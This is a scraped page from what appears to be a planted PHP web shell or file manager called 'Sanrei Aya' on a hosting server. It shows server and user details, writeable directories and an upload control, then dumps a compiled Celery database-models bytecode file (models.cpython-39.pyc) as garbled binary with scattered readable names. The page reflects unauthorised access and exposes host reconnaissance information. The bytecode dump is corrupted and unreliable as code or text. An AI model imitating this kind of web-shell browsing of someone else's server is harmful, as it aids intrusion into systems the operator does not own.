Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/backends/database/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/backends/database/__pycache__/models.cpython-39.pyc
a

��ShB
�@sxdZddlmZmZddlZddlmZddlmZddl	m
Z
dZGd	d
�d
e
�ZGdd�de�Z
Gd
d�de
�ZdS)z<Database models used by the SQLAlchemy result store backend.�)�datetime�timezoneN)�
PickleType)�states�)�ResultModelBase)�Task�TaskExtended�TaskSetc@s�eZdZdZdZddiZejeje�	d�ddd�Z
eje�d�dd�Zeje�d	�e
jd
�Zejedd�Zejeje�ej�e�ej�dd�Zejejdd�Zd
d�Zdd�Zdd�Zeddd��ZdS)rzTask result/status.�celery_taskmeta�sqlite_autoincrementTZtask_id_sequence)�primary_key�
autoincrement���unique�2)�default��nullable)rZonupdatercCs
||_dS�N)�task_id)�selfr�r�I/usr/local/lib/python3.9/site-packages/celery/backends/database/models.py�__init__sz
Task.__init__cCs|j|j|j|j|jd�S)N�r�status�result�	traceback�	date_doner�rrrr�to_dict s�zTask.to_dictcCs
d�|�S)Nz$<Task {0.task_id} state: {0.status}>)�formatr!rrr�__repr__)sz
Task.__repr__NcCs$||j_||jj_|p|j|j_dSr�Z	__table__�schema�idr�
__tablename__�name��clsr&r)rrr�	configure,s
zTask.configure)NN)�__name__�
__module__�__qualname__�__doc__r(�__table_args__�sa�Column�Integer�Sequencer'�Stringrr�PENDINGrrr�DateTimer�nowr�utcr �Textrrr"r$�classmethodr,rrrrrs$��	rcs�eZdZdZdZddd�Zeje�d�dd�Z	ejej
dd�Zejej
dd�Zeje�d�dd�Z
ejejdd�Zeje�d�dd�Z�fdd�Z�ZS)	r	zFor the extend result.rT)rZextend_existingrrc	s2t���}|�|j|j|j|j|j|jd��|S)N)r)�args�kwargs�worker�retries�queue)	�superr"�updater)r=r>r?r@rA)rZ	task_dict��	__class__rrr"@s
�zTaskExtended.to_dict)r-r.r/r0r(r1r2r3r6r)ZLargeBinaryr=r>r?r4r@rAr"�
__classcell__rrrDrr	3s
r	c@s�eZdZdZdZddiZejeje�	d�ddd�Z
eje�d�dd�Zeje
dd	�Zejeje�ej�dd
�Zdd�Zd
d�Zdd�Zeddd��ZdS)r
zTaskSet result.Zcelery_tasksetmetarTZtaskset_id_sequence)rr
rrr)rrcCs||_||_dSr)�
taskset_idr)rrGrrrrrZszTaskSet.__init__cCs|j|j|jd�S)N�rGrr rHr!rrrr"^s�zTaskSet.to_dictcCsd|j�d�S)Nz
<TaskSet: �>)rGr!rrrr$eszTaskSet.__repr__NcCs$||j_||jj_|p|j|j_dSrr%r*rrrr,hs
zTaskSet.configure)NN)r-r.r/r0r(r1r2r3r4r5r'r6rGrrr8rr9rr:r rr"r$r<r,rrrrr
Ms ��r
)r0rrZ
sqlalchemyr2Zsqlalchemy.typesrZceleryr�sessionr�__all__rr	r
rrrr�<module>s%

Yohohohohohooho | Sanrei Aya